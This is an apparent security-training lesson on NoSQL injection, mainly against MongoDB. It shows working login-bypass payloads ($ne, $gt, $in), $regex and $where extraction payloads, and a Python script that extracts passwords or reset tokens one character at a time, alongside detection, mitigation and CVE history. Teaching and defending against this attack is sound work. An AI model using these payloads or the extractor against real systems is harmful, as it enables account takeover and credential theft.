Skip to content
Pwnversity
WEB-NOSQLIintermediate · 13 min · upd. 2026-11

NoSQL injection

OWASP A05:2025CWE-943T1190

NoSQL databases (MongoDB, CouchDB, Redis, Elasticsearch…) don’t use SQL, but they are injectable. The difference from SQLi is what you manipulate: in SQL you manipulate text (quotes, UNION, ;); in MongoDB you manipulate the structure of the query object, turning a value into an operator. If the backend runs db.users.findOne({user: req.body.user, pass: req.body.pass}) and receives {"$ne": null} instead of a string, the condition “password equals X” becomes “password is not null”. The invariant it breaks is “user input is data, not part of the query’s structure”.

flowchart LR
    A[Attacker] -->|"pass[$ne]=x"| P["Framework parser<br/>(qs, PHP)"]
    P -->|"{pass: {$ne: 'x'}}"| APP["App (doesn't cast to string)"]
    APP -->|"findOne with operator"| DB[(MongoDB)]
    DB -->|"matches any pass ≠ 'x'"| APP
    APP -->|"admin session"| A
  • Authentication bypass: log in as any user, or as a specific one.
  • Enumeration: users, field names and lengths.
  • Blind extraction: passwords, reset tokens or hashes, one character at a time.
  • Server-side JavaScript ($where, mapReduce, $function): change the query, extract data by timing or cause DoS. It runs in MongoDB’s JS engine with no access to the operating system: on its own it isn’t RCE.
  • Chaining: an extracted reset token gives you an admin account takeover, and from the admin panel you may reach code execution (that’s what happened with Rocket.Chat, see CVEs).

The root cause is almost always the same: the framework’s parser turns input into an object and the application passes it to the query without checking its type.

Input What reaches the code Why
JSON {"pass":{"$ne":null}} {pass: {$ne: null}} Any API that accepts JSON
Form pass[$ne]=x in PHP ['pass' => ['$ne' => 'x']] PHP turns brackets into arrays
Form pass[$ne]=x in Express with qs {pass: {$ne: 'x'}} qs (extended parser) builds nested objects
user[$in][]=a&user[$in][]=b with qs {user: {$in: ['a','b']}} Empty brackets build arrays

Two details that change the outcome:

  • In application/x-www-form-urlencoded everything is a string: pass[$ne]=null sends the string "null", not a real null. For the bypass it doesn’t matter (the password isn’t "null"), but it does when you need a specific type (numbers for $gt, booleans for $exists): use JSON there.
  • Express 5 changed the defaults: the query parser is now simple and express.urlencoded() has extended: false, so brackets no longer build objects unless the application enables extended: true. A JSON body still delivers objects. If brackets don’t work, try JSON, and vice versa.

NoSQL is a family, not a language: the injection changes with the engine.

Engine Type Typical injection
MongoDB Document Operators ($ne, $gt, $regex, $where) via JSON or brackets
CouchDB Document Mango queries similar to MongoDB; historically, admin escalation and execution through _config (CVE-2017-12635 and CVE-2017-12636)
Redis Key-value More command injection than query injection: CRLF in the protocol, EVAL with Lua
Elasticsearch Document Query DSL or Lucene syntax in free-text search; RCE through scripting in old versions (CVE-2014-3120, CVE-2015-1427)
Cassandra (CQL) Wide-column Similar to classic SQLi when CQL is concatenated
Neo4j (Cypher) Graph Cypher injection when concatenated; LOAD CSV can make outbound requests
Firebase / Firestore Document Not injectable: the typical flaw is permissive security rules

The rest of this page focuses on MongoDB, which is where it shows up almost every time.

Operator Offensive use
$ne Bypass: {"$ne": null} or {"$ne": ""}
$gt / $lt Bypass by comparison: {"$gt": ""}
$in / $nin Try a list of likely usernames in one go
$regex Enumerate users and extract values character by character
$exists Check whether a field exists (resetToken, isAdmin, apiKey)
$or / $and If you control the whole filter
$where JavaScript evaluated per document on the MongoDB server
  • Operator injection into a field’s value: the most common.
  • Whole-filter injection: the app runs find(req.body) and you can add new keys, including $where or $or.
  • Boolean blind extraction with $regex or time-based with $where.
  • Injection into JavaScript strings: the app builds the $where code by hand with your input ("this.user == '" + user + "'"); you exploit it by closing quotes, as in SQLi.

Send an object where a string is expected and compare a true condition with a false one:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user=admin&pass[$ne]=x
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user=admin&pass[$eq]=x

If the first one responds differently (status, length, redirect, message), the operator reaches the query. A type error or a 500 when you send an object is also a hint.

In JSON:

{"user":"admin","pass":{"$ne":null}}
{"user":{"$gt":""},"pass":{"$gt":""}}
{"user":{"$in":["admin","administrator","root"]},"pass":{"$ne":""}}

In a form:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user=admin&pass[$ne]=x

With {"user":{"$gt":""}} you log in as the first user the query returns, which isn’t necessarily the admin. Pin the username or use $in / $regex ({"$regex":"^adm"}) to pick it. If the application compares the password hash in code rather than in the query, an operator in pass isn’t enough: the bypass only works when the check happens inside the filter.

user[$regex]=^adm&pass[$ne]=x # is there a user starting with "adm"?
user=admin&pass[$regex]=^.{8}$ # is the password 8 characters long?
user=admin&resetToken[$exists]=true # (in JSON) does the field exist?

Use JSON for $exists ({"resetToken":{"$exists":true}}): in a form, true arrives as the string "true".

Length first with ^.{N}$; then each character by pinning the prefix: ^a → no, ^s → yes, ^se → yes…

import re, requests, string
URL, OK = "https://app.tld/login", "Welcome" # oracle: text of the true response
charset = string.ascii_letters + string.digits + string.punctuation
def matches(pattern):
body = {"user": "admin", "pass": {"$regex": pattern}}
return OK in requests.post(URL, json=body, allow_redirects=False).text
found = ""
while not matches(f"^{re.escape(found)}$"):
for ch in charset:
if matches(f"^{re.escape(found + ch)}"):
found += ch; print(found); break
else:
break # no character matches: check the charset
print("value:", found)
  • Escape metacharacters (. * + ? ^ $ ( ) [ ] { } | \): an unescaped . matches any character and gives you a false positive. Python’s re.escape produces escapes that MongoDB’s regex engine (PCRE) accepts.
  • It comes out in clear text if that’s how it’s stored; if the application stores hashes, you get the hash.
  • The same method works for reset tokens, API keys or any field you can filter on.

If you can add keys to the filter or the app uses $where, first confirm it’s evaluated by comparing a response with "$where":"0" against one with "$where":"1". Then:

{"user":"admin","$where":"this.pass.length == 8"}
{"user":"admin","$where":"function() { if (this.pass[0] == 's') { sleep(3000) } return true }"}

The second one gives you time-based extraction when the page doesn’t change. Measure several times: $where is evaluated per document, so the delay multiplies by every document that reaches that stage of the query.

A find() on one collection can’t read another. From the orders endpoint you won’t reach users unless there’s another endpoint that queries that collection, an aggregation with $lookup you can inject into, or server-side JavaScript. First look for which endpoint queries the collection you care about.

  1. Find inputs that end up in a query: login, search, filters, password recovery, APIs that accept JSON.
  2. Send an object with an operator where a string is expected; try JSON and brackets.
  3. Compare true and false to get an oracle.
  4. Bypass if it’s a login; otherwise enumerate with $regex and $exists.
  5. Extract with $regex (boolean) or $where (time, if JS is enabled).
  6. Work out what to do with what you extracted: reset token, hash, API key.
  • Burp Repeater to change types by hand; Intruder to iterate characters.
  • Python + requests for your own extractors.
  • nosqli and NoSQLMap to automate detection and extraction.

Account takeover through login bypass, credential and token dumps through blind extraction, DoS with an expensive $where and, chained with the application’s admin features, code execution. It shares a root cause with mass assignment: in both cases the app accepts structure from the user without filtering it.

  • Parameters with keys starting with $ or with unexpected types (object or array where a string is expected).
  • Bursts of near-identical requests to the login or password recovery that only change a $regex prefix.
  • $where or JavaScript in MongoDB’s profiler, and deprecation warnings in the server logs.
  • Repeated latency anomalies on authentication endpoints.

MongoDB profiler and logs, application logs with the query shape (not the sensitive values), a WAF that inspects JSON and bracketed parameters.

  1. Validate and cast types at the input: String(req.body.user), schemas (Joi, Zod) or an ODM with Mongoose’s sanitizeFilter option, which wraps objects with $ keys in $eq.
  2. Don’t pass user objects into the query; build the filter field by field.
  3. Strip keys starting with $ (express-mongo-sanitize or similar) as an extra layer, not the only one.
  4. Disable server-side JavaScript (security.javascriptEnabled: false) if you don’t use it.
  5. Compare passwords in code against a hash, not inside the query filter.
  6. Rate-limit login and password recovery.

Invalidate sessions and reset tokens, rotate credentials if there was extraction, fix the type handling and add operator detection at the input layer.

  • CVE-2021-22911 (Rocket.Chat 3.11–3.13, 2021): unauthenticated blind NoSQLi that leaked a user’s password reset token; chained with a second NoSQLi and admin features, it led to code execution.
  • CVE-2017-12635 and CVE-2017-12636 (Apache CouchDB): admin escalation through JSON parser differences and command execution through the configuration.
  • The {"$ne":null} bypass is a classic pattern in Node apps on MongoDB and shows up often in bug bounty programs.

Product-specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Operator objects tried in JSON and in brackets.
  • True/false oracle identified.
  • Login bypass with $ne/$gt/$in, choosing the user.
  • Enumeration with $regex and $exists; length with ^.{N}$.
  • Extraction with escaped metacharacters.
  • $where tested ("0" versus "1") and, if it works, time-based extraction.
  • Checked which collections each endpoint reaches.
  • Impact documented without dumping real data.